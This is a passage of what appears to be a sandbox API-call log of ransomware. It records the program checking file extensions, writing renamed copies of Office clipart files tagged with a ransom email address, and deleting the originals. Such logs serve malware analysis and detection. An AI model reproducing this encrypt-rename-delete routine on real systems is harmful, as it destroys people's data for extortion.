Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.398] lstrlenW (lpString=".zip") returned 4 [0074.398] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.398] lstrlenW (lpString=".rar") returned 4 [0074.398] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.398] lstrlenW (lpString=".bz2") returned 4 [0074.398] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.398] lstrlenW (lpString=".7z") returned 3 [0074.399] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.399] lstrlenW (lpString=".dbf") returned 4 [0074.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.399] lstrlenW (lpString=".1cd") returned 4 [0074.399] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.399] lstrlenW (lpString=".jpg") returned 4 [0074.399] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.399] lstrlenW (lpString=".doc") returned 4 [0074.399] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.399] lstrlenW (lpString=".docx") returned 5 [0074.399] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.399] lstrlenW (lpString=".pdf") returned 4 [0074.399] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.399] lstrlenW (lpString=".xls") returned 4 [0074.399] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.399] lstrlenW (lpString=".xlsx") returned 5 [0074.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.399] lstrlenW (lpString=".ppt") returned 4 [0074.399] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.399] lstrlenW (lpString=".zip") returned 4 [0074.399] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.399] lstrlenW (lpString=".rar") returned 4 [0074.399] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.399] lstrlenW (lpString=".bz2") returned 4 [0074.399] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.399] lstrlenW (lpString=".7z") returned 3 [0074.399] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.399] lstrlenW (lpString=".dbf") returned 4 [0074.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.400] lstrlenW (lpString=".1cd") returned 4 [0074.400] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.400] lstrlenW (lpString=".jpg") returned 4 [0074.400] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.400] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.400] lstrlenW (lpString="AG00154_.GIF") returned 12 [0074.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.400] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5315) returned 1 [0074.400] CloseHandle (hObject=0x350) returned 1 [0074.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0074.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.400] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.401] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0074.401] GetLastError () returned 0x0 [0074.401] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x14c3, lpOverlapped=0x0) returned 1 [0074.402] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0074.403] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.403] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.404] SetEndOfFile (hFile=0x384) returned 1 [0074.404] CloseHandle (hObject=0x384) returned 1 [0074.405] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.405] SetEndOfFile (hFile=0x350) returned 1 [0074.406] CloseHandle (hObject=0x350) returned 1 [0074.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0074.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.406] lstrlenW (lpString=".doc") returned 4 [0074.406] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.406] lstrlenW (lpString=".docx") returned 5 [0074.406] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.406] lstrlenW (lpString=".pdf") returned 4 [0074.406] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.406] lstrlenW (lpString=".xls") returned 4 [0074.406] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.406] lstrlenW (lpString=".xlsx") returned 5 [0074.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.406] lstrlenW (lpString=".ppt") returned 4 [0074.406] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.407] lstrlenW (lpString=".zip") returned 4 [0074.407] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.407] lstrlenW (lpString=".rar") returned 4 [0074.407] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.407] lstrlenW (lpString=".bz2") returned 4 [0074.407] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.407] lstrlenW (lpString=".7z") returned 3 [0074.407] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.407] lstrlenW (lpString=".dbf") returned 4 [0074.407] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.407] lstrlenW (lpString=".1cd") returned 4 [0074.407] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.407] lstrlenW (lpString=".jpg") returned 4 [0074.407] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.407] lstrlenW (lpString=".doc") returned 4 [0074.407] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.407] lstrlenW (lpString=".docx") returned 5 [0074.407] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.407] lstrlenW (lpString=".pdf") returned 4 [0074.407] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.407] lstrlenW (lpString=".xls") returned 4 [0074.407] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.407] lstrlenW (lpString=".xlsx") returned 5 [0074.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.407] lstrlenW (lpString=".ppt") returned 4 [0074.407] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.407] lstrlenW (lpString=".zip") returned 4 [0074.407] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.408] lstrlenW (lpString=".rar") returned 4 [0074.408] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.408] lstrlenW (lpString=".bz2") returned 4 [0074.408] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.408] lstrlenW (lpString=".7z") returned 3 [0074.408] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.408] lstrlenW (lpString=".dbf") returned 4 [0074.408] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.408] lstrlenW (lpString=".1cd") returned 4 [0074.408] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68 [0074.408] lstrlenW (lpString=".jpg") returned 4 [0074.408] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.408] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.408] lstrlenW (lpString="AG00157_.GIF") returned 12 [0074.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.409] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4955) returned 1 [0074.409] CloseHandle (hObject=0x350) returned 1 [0074.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0074.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.409] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.409] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0074.410] GetLastError () returned 0x0 [0074.410] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x135b, lpOverlapped=0x0) returned 1 [0074.411] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1360, lpOverlapped=0x0) returned 1 [0074.412] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.412] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.412] SetEndOfFile (hFile=0x384) returned 1 [0074.412] CloseHandle (hObject=0x384) returned 1 [0074.414] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.414] SetEndOfFile (hFile=0x350) returned 1 [0074.415] CloseHandle (hObject=0x350) returned 1 [0074.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0074.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.415] lstrlenW (lpString=".doc") returned 4 [0074.415] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.415] lstrlenW (lpString=".docx") returned 5 [0074.415] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.415] lstrlenW (lpString=".pdf") returned 4 [0074.416] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.416] lstrlenW (lpString=".xls") returned 4 [0074.416] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.416] lstrlenW (lpString=".xlsx") returned 5 [0074.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.416] lstrlenW (lpString=".ppt") returned 4 [0074.416] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.416] lstrlenW (lpString=".zip") returned 4 [0074.416] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.416] lstrlenW (lpString=".rar") returned 4 [0074.416] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.416] lstrlenW (lpString=".bz2") returned 4 [0074.416] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.416] lstrlenW (lpString=".7z") returned 3 [0074.416] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.416] lstrlenW (lpString=".dbf") returned 4 [0074.416] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.416] lstrlenW (lpString=".1cd") returned 4 [0074.416] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.416] lstrlenW (lpString=".jpg") returned 4 [0074.416] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.416] lstrlenW (lpString=".doc") returned 4 [0074.416] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.416] lstrlenW (lpString=".docx") returned 5 [0074.416] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.416] lstrlenW (lpString=".pdf") returned 4 [0074.416] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.416] lstrlenW (lpString=".xls") returned 4 [0074.416] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.417] lstrlenW (lpString=".xlsx") returned 5 [0074.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.417] lstrlenW (lpString=".ppt") returned 4 [0074.417] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.417] lstrlenW (lpString=".zip") returned 4 [0074.417] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.417] lstrlenW (lpString=".rar") returned 4 [0074.417] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.417] lstrlenW (lpString=".bz2") returned 4 [0074.417] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.417] lstrlenW (lpString=".7z") returned 3 [0074.417] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.417] lstrlenW (lpString=".dbf") returned 4 [0074.417] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.417] lstrlenW (lpString=".1cd") returned 4 [0074.417] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0074.417] lstrlenW (lpString=".jpg") returned 4 [0074.417] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.417] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.417] lstrlenW (lpString="AG00158_.GIF") returned 12 [0074.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.418] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5030) returned 1 [0074.418] CloseHandle (hObject=0x350) returned 1 [0074.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0074.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0074.418] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.418] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0074.418] GetLastError () returned 0x0 [0074.418] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x13a6, lpOverlapped=0x0) returned 1 [0074.420] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13b0, lpOverlapped=0x0) returned 1 [0074.421] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.421] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.421] SetEndOfFile (hFile=0x384) returned 1 [0074.421] CloseHandle (hObject=0x384) returned 1 [0074.422] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.422] SetEndOfFile (hFile=0x350) returned 1 [0074.423] CloseHandle (hObject=0x350) returned 1 [0074.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0074.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.424] lstrlenW (lpString=".doc") returned 4 [0074.424] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.424] lstrlenW (lpString=".docx") returned 5 [0074.424] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.424] lstrlenW (lpString=".pdf") returned 4 [0074.424] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.424] lstrlenW (lpString=".xls") returned 4 [0074.424] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.424] lstrlenW (lpString=".xlsx") returned 5 [0074.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.424] lstrlenW (lpString=".ppt") returned 4 [0074.424] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0074.424] lstrlenW (lpString=".zip") returned 4 [0074.424] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.424] lstrlenW (lpString=".rar") returned 4 [0074.424] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.424] lstrlenW (lpString=".bz2") returned 4 [0074.424] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.424] lstrlenW 